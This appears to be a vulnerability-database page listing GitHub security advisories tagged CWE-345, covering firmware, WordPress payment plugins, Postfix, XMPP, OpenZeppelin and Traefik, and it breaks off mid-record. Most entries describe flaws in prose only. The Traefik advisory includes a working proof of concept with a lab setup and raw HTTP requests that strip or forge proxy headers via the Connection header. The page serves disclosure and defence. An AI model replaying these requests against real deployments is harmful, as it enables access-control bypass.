Common Weakness Enumeration

CWE-345

Discouraged

Insufficient Verification of Data Authenticity

Abstraction: Class · Status: Draft

The product does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data.

1103 vulnerabilities reference this CWE, most recent first.

GHSA-5V9Q-JPV7-7W2M

Vulnerability from github – Published: 2025-03-10 09:31 – Updated: 2025-03-12 12:30
VLAI
Details

Insufficient Verification of Data Authenticity vulnerability in GE Vernova UR IED family devices allows an authenticated user to install a modified firmware. The firmware signature verification is enforced only on the client-side dedicated software Enervista UR Setup, allowing the integration check to be bypassed.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-27257"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-10T09:15:11Z",
    "severity": "MODERATE"
  },
  "details": "Insufficient Verification of Data Authenticity vulnerability in GE Vernova UR IED family devices allows an authenticated user to install a modified firmware.\nThe firmware signature verification is enforced only on the client-side dedicated software Enervista UR Setup, allowing the integration check to be bypassed.",
  "id": "GHSA-5v9q-jpv7-7w2m",
  "modified": "2025-03-12T12:30:57Z",
  "published": "2025-03-10T09:31:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-27257"
    },
    {
      "type": "WEB",
      "url": "https://www.gevernova.com/grid-solutions/app/DownloadFile.aspx?prod=urfamily\u0026type=21\u0026file=76"
    },
    {
      "type": "WEB",
      "url": "https://www.nozominetworks.com/labs/vulnerability-advisories-cve-2025-27257"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5VPH-83M8-9635

Vulnerability from github – Published: 2026-06-06 00:31 – Updated: 2026-06-06 00:31
VLAI
Details

The Event Monster – Event Management, Events Calendar, Tickets plugin for WordPress is vulnerable to Insufficient Verification of Data Authenticity in versions up to, and including, 2.1.0. This is due to the capture_payment() AJAX handler (registered via wp_ajax_nopriv_em_capture_payment) trusting client-supplied payment data — including transaction ID, amount, and payment status — without performing any server-side verification against the PayPal API or any other payment gateway, and without nonce or capability checks. This makes it possible for unauthenticated attackers to forge payment records, mark bookings as Completed, and obtain confirmation emails containing valid QR code tickets without making any actual payment.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-8608"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-06T00:16:41Z",
    "severity": "MODERATE"
  },
  "details": "The Event Monster \u2013 Event Management, Events Calendar, Tickets plugin for WordPress is vulnerable to Insufficient Verification of Data Authenticity in versions up to, and including, 2.1.0. This is due to the capture_payment() AJAX handler (registered via wp_ajax_nopriv_em_capture_payment) trusting client-supplied payment data \u2014 including transaction ID, amount, and payment status \u2014 without performing any server-side verification against the PayPal API or any other payment gateway, and without nonce or capability checks. This makes it possible for unauthenticated attackers to forge payment records, mark bookings as Completed, and obtain confirmation emails containing valid QR code tickets without making any actual payment.",
  "id": "GHSA-5vph-83m8-9635",
  "modified": "2026-06-06T00:31:39Z",
  "published": "2026-06-06T00:31:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-8608"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/event-monster/tags/2.0.1/includes/class-event-monster-ajax.php#L844"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/event-monster/tags/2.0.1/includes/class-event-monster-ajax.php#L890"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/event-monster/tags/2.0.1/includes/class-event-monster-ajax.php#L92"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3554570%40event-monster\u0026new=3554570%40event-monster\u0026sfp_email=\u0026sfph_mail="
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/daddfbd2-cff4-4caa-bbdc-9945a635a1d6?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5W76-5RQ6-44V8

Vulnerability from github – Published: 2022-05-24 16:47 – Updated: 2022-05-24 16:47
VLAI
Details

Due to unencrypted and unauthenticated data communication, the wireless presenter Inateck WP2002 is prone to keystroke injection attacks. Thus, an attacker is able to send arbitrary keystrokes to a victim's computer system, e.g., to install malware when the target system is unattended. In this way, an attacker can remotely take control over the victim's computer that is operated with an affected receiver of this device.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2019-12504"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-06-07T21:29:00Z",
    "severity": "HIGH"
  },
  "details": "Due to unencrypted and unauthenticated data communication, the wireless presenter Inateck WP2002 is prone to keystroke injection attacks. Thus, an attacker is able to send arbitrary keystrokes to a victim\u0027s computer system, e.g., to install malware when the target system is unattended. In this way, an attacker can remotely take control over the victim\u0027s computer that is operated with an affected receiver of this device.",
  "id": "GHSA-5w76-5rq6-44v8",
  "modified": "2022-05-24T16:47:36Z",
  "published": "2022-05-24T16:47:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-12504"
    },
    {
      "type": "WEB",
      "url": "https://seclists.org/bugtraq/2019/Jun/3"
    },
    {
      "type": "WEB",
      "url": "https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2019-008.txt"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/153185/Inateck-2.4-GHz-Wearable-Wireless-Presenter-WP2002-Keystroke-Injection.html"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2019/Jun/14"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-5WFJ-9RWM-6F4W

Vulnerability from github – Published: 2024-06-04 06:30 – Updated: 2024-06-04 06:30
VLAI
Details

The Authorize.net Payment Gateway For WooCommerce plugin for WordPress is vulnerable to payment bypass in all versions up to, and including, 8.0. This is due to the plugin not properly verifying the authenticity of the request that updates a orders payment status. This makes it possible for unauthenticated attackers to update order payment statuses to paid bypassing any payment.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-2382"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-06-04T06:15:09Z",
    "severity": "MODERATE"
  },
  "details": "The Authorize.net Payment Gateway For WooCommerce plugin for WordPress is vulnerable to payment bypass in all versions up to, and including, 8.0. This is due to the plugin not properly verifying the authenticity of the request that updates a orders payment status. This makes it possible for unauthenticated attackers to update order payment statuses to paid bypassing any payment.",
  "id": "GHSA-5wfj-9rwm-6f4w",
  "modified": "2024-06-04T06:30:37Z",
  "published": "2024-06-04T06:30:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-2382"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/authorizenet-payment-gateway-for-woocommerce/trunk/index.php#L205"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/4ab71d24-0409-421b-8abf-f4d5390a32a1?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5WJ2-9PM2-74VM

Vulnerability from github – Published: 2022-05-24 17:16 – Updated: 2022-05-24 17:16
VLAI
Details

** DISPUTED ** A certain Postfix 2.10.1-7 package could allow an attacker to send an email from an arbitrary-looking sender via a homoglyph attack, as demonstrated by the similarity of \xce\xbf to the 'o' character. This is potentially relevant when the /etc/postfix/sender_login feature is used, because a spoofed outbound message that uses a configured sender address is blocked with a "Sender address rejected: not logged in" error message, but a spoofed outbound message that uses a homoglyph of a configured sender address is not blocked. NOTE: some third parties argue that any missed blocking of spoofed outbound messages - except for exact matches to a sender address in the /etc/postfix/sender_login file - is outside the design goals of Postfix and thus cannot be considered a Postfix vulnerability.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-12063"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-04-24T12:15:00Z",
    "severity": "MODERATE"
  },
  "details": "** DISPUTED ** A certain Postfix 2.10.1-7 package could allow an attacker to send an email from an arbitrary-looking sender via a homoglyph attack, as demonstrated by the similarity of \\xce\\xbf to the \u0027o\u0027 character. This is potentially relevant when the /etc/postfix/sender_login feature is used, because a spoofed outbound message that uses a configured sender address is blocked with a \"Sender address rejected: not logged in\" error message, but a spoofed outbound message that uses a homoglyph of a configured sender address is not blocked. NOTE: some third parties argue that any missed blocking of spoofed outbound messages - except for exact matches to a sender address in the /etc/postfix/sender_login file - is outside the design goals of Postfix and thus cannot be considered a Postfix vulnerability.",
  "id": "GHSA-5wj2-9pm2-74vm",
  "modified": "2022-05-24T17:16:25Z",
  "published": "2022-05-24T17:16:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-12063"
    },
    {
      "type": "WEB",
      "url": "https://www.openwall.com/lists/oss-security/2020/04/23/12"
    },
    {
      "type": "WEB",
      "url": "https://www.openwall.com/lists/oss-security/2020/04/23/3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5X8W-VV68-5W4W

Vulnerability from github – Published: 2024-11-23 03:31 – Updated: 2024-11-23 03:31
VLAI
Details

Visteon Infotainment VIP MCU Code Insufficient Validation of Data Authenticity Local Privilege Escalation Vulnerability. This vulnerability allows local attackers to escalate privileges on affected installations of Visteon Infotainment systems. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.

The specific flaw exists within the firmware update process of the VIP microcontroller. The process does not properly verify authenticity of the supplied firmware image before programming it into internal memory. An attacker can leverage this vulnerability to escalate privileges execute arbitrary code in the context of the VIP MCU. Was ZDI-CAN-23758.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-8356"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-11-22T22:15:18Z",
    "severity": "HIGH"
  },
  "details": "Visteon Infotainment VIP MCU Code Insufficient Validation of Data Authenticity Local Privilege Escalation Vulnerability. This vulnerability allows local attackers to escalate privileges on affected installations of Visteon Infotainment systems. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.\n\nThe specific flaw exists within the firmware update process of the VIP microcontroller. The process does not properly verify authenticity of the supplied firmware image before programming it into internal memory. An attacker can leverage this vulnerability to escalate privileges execute arbitrary code in the context of the VIP MCU. Was ZDI-CAN-23758.",
  "id": "GHSA-5x8w-vv68-5w4w",
  "modified": "2024-11-23T03:31:59Z",
  "published": "2024-11-23T03:31:59Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-8356"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-24-1188"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5XC3-HRWR-2P8H

Vulnerability from github – Published: 2022-05-24 19:04 – Updated: 2022-05-24 19:04
VLAI
Details

A vulnerability has been identified in Mendix SAML Module (All versions < V2.1.2). The configuration of the SAML module does not properly check various restrictions and validations imposed by an identity provider. This could allow a remote authenticated attacker to escalate privileges.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-33712"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-06-08T20:15:00Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability has been identified in Mendix SAML Module (All versions \u003c V2.1.2). The configuration of the SAML module does not properly check various restrictions and validations imposed by an identity provider. This could allow a remote authenticated attacker to escalate privileges.",
  "id": "GHSA-5xc3-hrwr-2p8h",
  "modified": "2022-05-24T19:04:17Z",
  "published": "2022-05-24T19:04:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-33712"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/pdf/ssa-522654.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-5XPQ-F27X-7PW7

Vulnerability from github – Published: 2022-05-13 01:11 – Updated: 2022-05-13 01:11
VLAI
Details

The ParseRoster component in the Ignite Realtime Smack XMPP API before 4.0.0-rc1 does not verify the from attribute of a roster-query IQ stanza, which allows remote attackers to spoof IQ responses via a crafted attribute.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2014-0364"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2014-04-30T10:49:00Z",
    "severity": "MODERATE"
  },
  "details": "The ParseRoster component in the Ignite Realtime Smack XMPP API before 4.0.0-rc1 does not verify the from attribute of a roster-query IQ stanza, which allows remote attackers to spoof IQ responses via a crafted attribute.",
  "id": "GHSA-5xpq-f27x-7pw7",
  "modified": "2022-05-13T01:11:39Z",
  "published": "2022-05-13T01:11:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2014-0364"
    },
    {
      "type": "WEB",
      "url": "http://community.igniterealtime.org/blogs/ignite/2014/04/17/asmack-400-rc1-has-been-released"
    },
    {
      "type": "WEB",
      "url": "http://rhn.redhat.com/errata/RHSA-2015-1176.html"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/59290"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/59291"
    },
    {
      "type": "WEB",
      "url": "http://www.kb.cert.org/vuls/id/489228"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/67124"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-626Q-V9J4-MCP4

Vulnerability from github – Published: 2023-02-02 16:59 – Updated: 2024-10-07 21:19
VLAI
Summary
OpenZeppelin Contracts contains Improper Verification of Cryptographic Signature
Details

Cause

is_valid_eth_signature is missing a call to finalize_keccak after calling verify_eth_signature.

Impact

As a result, any contract using is_valid_eth_signature from the account library (such as the EthAccount preset) is vulnerable to a malicious sequencer. Specifically, the malicious sequencer would be able to bypass signature validation to impersonate an instance of these accounts.

Risk

In order to exploit this vulnerability, it is required to control a sequencer or prover since they're the ones executing the hints, being able to inject incorrect keccak results.

Today StarkWare is the only party running both a prover or a sequencer, greatly reducing the risk of exploit.

Patches

The issue has been patched in 0.6.1.

For more information

If you have any questions or comments about this advisory: * Open an issue in the Contracts for Cairo repository * Email us at security@openzeppelin.com

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "openzeppelin-cairo-contracts"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.2.0"
            },
            {
              "fixed": "0.6.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-23940"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345",
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-02-02T16:59:46Z",
    "nvd_published_at": "2023-02-03T20:15:00Z",
    "severity": "MODERATE"
  },
  "details": "### Cause\n`is_valid_eth_signature` is missing a call to `finalize_keccak` after calling `verify_eth_signature`. \n\n### Impact\nAs a result, any contract using `is_valid_eth_signature` from the account library (such as the `EthAccount` preset) is vulnerable to a malicious sequencer. Specifically, the malicious sequencer would be able to bypass signature validation to impersonate an instance of these accounts.\n\n### Risk\nIn order to exploit this vulnerability, it is required to control a sequencer or prover since they\u0027re the ones executing the hints, being able to inject incorrect keccak results.\n\nToday StarkWare is the only party running both a prover or a sequencer, greatly reducing the risk of exploit.\n\n### Patches\nThe issue has been patched in 0.6.1.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [the Contracts for Cairo repository](https://github.com/OpenZeppelin/cairo-contracts/issues/new/choose)\n* Email us at [security@openzeppelin.com](mailto:security@openzeppelin.com)",
  "id": "GHSA-626q-v9j4-mcp4",
  "modified": "2024-10-07T21:19:33Z",
  "published": "2023-02-02T16:59:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/OpenZeppelin/cairo-contracts/security/advisories/GHSA-626q-v9j4-mcp4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-23940"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OpenZeppelin/cairo-contracts/pull/542/commits/6d4cb750478fca2fd916f73297632f899aca9299"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/OpenZeppelin/cairo-contracts"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/openzeppelin-cairo-contracts/PYSEC-2023-39.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenZeppelin Contracts contains Improper Verification of Cryptographic Signature"
}

GHSA-62C8-MH53-4CQV

Vulnerability from github – Published: 2024-09-19 14:48 – Updated: 2024-09-25 19:29
VLAI
Summary
HTTP client can manipulate custom HTTP headers that are added by Traefik
Details

Impact

There is a vulnerability in Traefik that allows the client to remove the X-Forwarded headers (except the header X-Forwarded-For).

Patches

  • https://github.com/traefik/traefik/releases/tag/v2.11.9
  • https://github.com/traefik/traefik/releases/tag/v3.1.3

Workarounds

No workaround.

For more information

If you have any questions or comments about this advisory, please open an issue.

Original Description ### Summary When a HTTP request is processed by Traefik, certain HTTP headers such as X-Forwarded-Host or X-Forwarded-Port are added by Traefik before the request is routed to the application. For a HTTP client, it should not be possible to remove or modify these headers. Since the application trusts the value of these headers, security implications might arise, if they can be modified. For HTTP/1.1, however, it was found that some of theses custom headers can indeed be removed and in certain cases manipulated. The attack relies on the HTTP/1.1 behavior, that headers can be defined as hop-by-hop via the HTTP Connection header. By setting the following connection header, the X-Forwarded-Host header can, for example, be removed: Connection: close, X-Forwarded-Host Depending on how the receiving application handles such cases, security implications may arise. Moreover, some application frameworks (e.g. Django) first transform the "-" to "_" signs, making it possible for the HTTP client to even modify these headers in these cases. This is similar to [CVE-2022-31813](https://nvd.nist.gov/vuln/detail/CVE-2022-31813) for Apache HTTP Server. ### Details It was found that the following headers can be removed in this way (i.e. by specifing them within a connection header): - X-Forwarded-Host - X-Forwarded-Port - X-Forwarded-Proto - X-Forwarded-Server - X-Real-Ip - X-Forwarded-Tls-Client-Cert - X-Forwarded-Tls-Client-Cert-Info ### PoC The following docker-compose file has been used for a simple setup:
services:
  traefik:
    image: traefik:v3.1
    container_name: traefik
    ports:
      - "443:443"
    volumes:
      - /var/run/docker.sock:/var/run/docker.sock:ro
      - ./traefik.yaml:/etc/traefik/traefik.yaml
      - ./traefik-certs:/certs

  python-http:
    build:
      context: .
      dockerfile: Dockerfile
    container_name: python-http
    labels:
      - "traefik.enable=true"
      - "traefik.http.routers.python-http.rule=Host(`python.example.com`)"
      - "traefik.http.routers.python-http.entrypoints=websecure"
      - "traefik.http.routers.python-http.tls=true"
      - "traefik.http.services.python-http.loadbalancer.server.port=8080"
The following traefik.yaml has been used:
providers:
  docker:
    exposedByDefault: false
    watch: true
  file:
    fileName: /etc/traefik/traefik.yaml
    watch: true

entryPoints:
  websecure:
    address: ":443"

tls:
  certificates:
    - certFile: /certs/server-cert.pem
      keyFile: /certs/server-key.pem
The Python container just includes a simple Python HTTP server that prints the HTTP headers it receives. Here is the Dockerfile for the container:
FROM python:3-alpine

# Copy the Python script to the container
COPY server.py /server.py

# Set the working directory
WORKDIR /

# Command to run the Python server
CMD ["python", "/server.py"]
And here is the Python script: ``` from http.server import BaseHTTPRequestHandler, HTTPServer class RequestHandler(BaseHTTPRequestHandler): def _send_response(self): self.send_response(200) self.send_header("Content-type", "text/plain") self.end_headers() self.wfile.write(str(self.headers).encode("utf-8")) def do_GET(self): self._send_response() if __name__ == "__main__": server = HTTPServer(('0.0.0.0', 8080), RequestHandler) print("Server started on port 8080") server.serve_forever()

The environment is run with `sudo docker-compose up`.

A normal HTTP request/response pair looks like this:

**Request 1**

GET / HTTP/1.1 Host: python.example.com User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7 Priority: u=0, i Connection: close

**Response 1**

HTTP/1.1 200 OK Content-Type: text/plain Date: Tue, 03 Sep 2024 06:53:49 GMT Server: BaseHTTP/0.6 Python/3.12.5 Connection: close Content-Length: 556 Host: python.example.com User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7 Priority: u=0, i X-Forwarded-For: 172.20.0.1 X-Forwarded-Host: python.example.com X-Forwarded-Port: 443 X-Forwarded-Proto: https X-Forwarded-Server: 3138fe4f0a2e X-Real-Ip: 172.20.0.1

The custom headers added by Traefik can be seen in the response.

Next, a request, where the X-Forwarded-Host header is defined as a hop-by-hop header via the Connection header is sent:

**Request 2**

GET / HTTP/1.1 Host: python.example.com User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7 Priority: u=0, i Connection: close, X-Forwarded-Host

**Response 2**

Host: python.example.com User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7 Priority: u=0, i X-Forwarded-For: 172.20.0.1 X-Forwarded-Port: 443 X-Forwarded-Proto: https X-Forwarded-Server: 3138fe4f0a2e X-Real-Ip: 172.20.0.1

As can be seen from the response, the X-Forwarded-Host header that had been added by Traefik has been removed from the request.

Moreover, the next request/response pair demonstrates that a custom header with underscore instead of hyphen can be added:

**Request 3**

GET / HTTP/1.1 Host: python.example.com User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7 Priority: u=0, i X_Forwarded_Host: myhost Connection: close, X-Forwarded-Host

**Response 3**

HTTP/1.1 200 OK Content-Type: text/plain Date: Tue, 03 Sep 2024 06:54:48 GMT Server: BaseHTTP/0.6 Python/3.12.5 Connection: close Content-Length: 544 Host: python.example.com User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7 Priority: u=0, i X-Forwarded-For: 172.20.0.1 X-Forwarded-Port: 443 X-Forwarded-Proto: https X-Forwarded-Server: 3138fe4f0a2e X-Real-Ip: 172.20.0.1 X_forwarded_host: myhost ```` Some backend frameworks (e.g. Django) handle X-Forwarded-Host and X_forwarded_host in the same way. As there is no X-Forwarded-Host header present in the request, the X_forwarded_host header will be used. It should be noted that when X-Forwarded-Host is present and a X_forwarded_host header is sent, usually the first occurence of the header will be used, which is in this case X-Forwarded-Host. It should be noted that the headers X-Forwarded-Tls-Client-Cert and X-Forwarded-Tls-Client-Cert-Info are also affected. Here, client certificate authentication would need to be enabled in the Traefik setup. ### Impact All applications that trust the custom headers set by Traefik are affected by this vulnerability. As an example, assume that a backend application trusts Traefik to validate client certificates and trusts therefore the values that are sent within the X-Forwarded-Tls-Client-Cert header, but does not validate the certificate anew. If the header is removed via the vulnerability, and the application framework allows for alternative names (e.g. by transforming the headers to lower case, and "-" to "_"), an attacker can place his own X_Forwarded_TLS_Client_Cert header in the request. This could lead to privilege escalation, as the attacker may put an (invalid) certificate in this header that would just be accepted by the application, but may contain other data than the certificate that is presented to Traefik for Client Certificate Authentication. Moreover, if the backend application uses any of the other custom headers for security-sensitive operations, the removal or modification of these headers may also security implications (e.g. access control bypass). The severity is the same as for [CVE-2022-31813](https://nvd.nist.gov/vuln/detail/CVE-2022-31813) for Apache HTTP Server, i.e. 9.8 Critical.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0-beta3"
            },
            {
              "fixed": "3.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.11.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.11.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-45410"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345",
      "CWE-348"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-09-19T14:48:10Z",
    "nvd_published_at": "2024-09-19T23:15:11Z",
    "severity": "CRITICAL"
  },
  "details": "### Impact\n\nThere is a vulnerability in Traefik that allows the client to remove the X-Forwarded headers (except the header X-Forwarded-For).\n\n### Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.11.9\n- https://github.com/traefik/traefik/releases/tag/v3.1.3\n\n### Workarounds\n\nNo workaround.\n\n### For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n### Summary\n\nWhen a HTTP request is processed by Traefik, certain HTTP headers such as X-Forwarded-Host or X-Forwarded-Port are added by Traefik before the request is routed to the application. For a HTTP client, it should not be possible to remove or modify these headers. Since the application trusts the value of these headers, security implications might arise, if they can be modified.\n\nFor HTTP/1.1, however, it was found that some of theses custom headers can indeed be removed and in certain cases manipulated. The attack relies on the HTTP/1.1 behavior, that headers can be defined as hop-by-hop via the HTTP Connection header. By setting the following connection header, the X-Forwarded-Host header can, for example, be removed:\n\nConnection: close, X-Forwarded-Host\n\nDepending on how the receiving application handles such cases, security implications may arise. Moreover, some application frameworks (e.g. Django) first transform the \"-\" to \"_\" signs, making it possible for the HTTP client to even modify these headers in these cases.\n\nThis is similar to [CVE-2022-31813](https://nvd.nist.gov/vuln/detail/CVE-2022-31813) for Apache HTTP Server.\n\n### Details\n\nIt was found that the following headers can be removed in this way (i.e. by specifing them within a connection header):\n\n- X-Forwarded-Host\n- X-Forwarded-Port\n- X-Forwarded-Proto\n- X-Forwarded-Server\n- X-Real-Ip\n- X-Forwarded-Tls-Client-Cert\n- X-Forwarded-Tls-Client-Cert-Info\n\n### PoC\n\nThe following docker-compose file has been used for a simple setup:\n\n```\nservices:\n  traefik:\n    image: traefik:v3.1\n    container_name: traefik\n    ports:\n      - \"443:443\"\n    volumes:\n      - 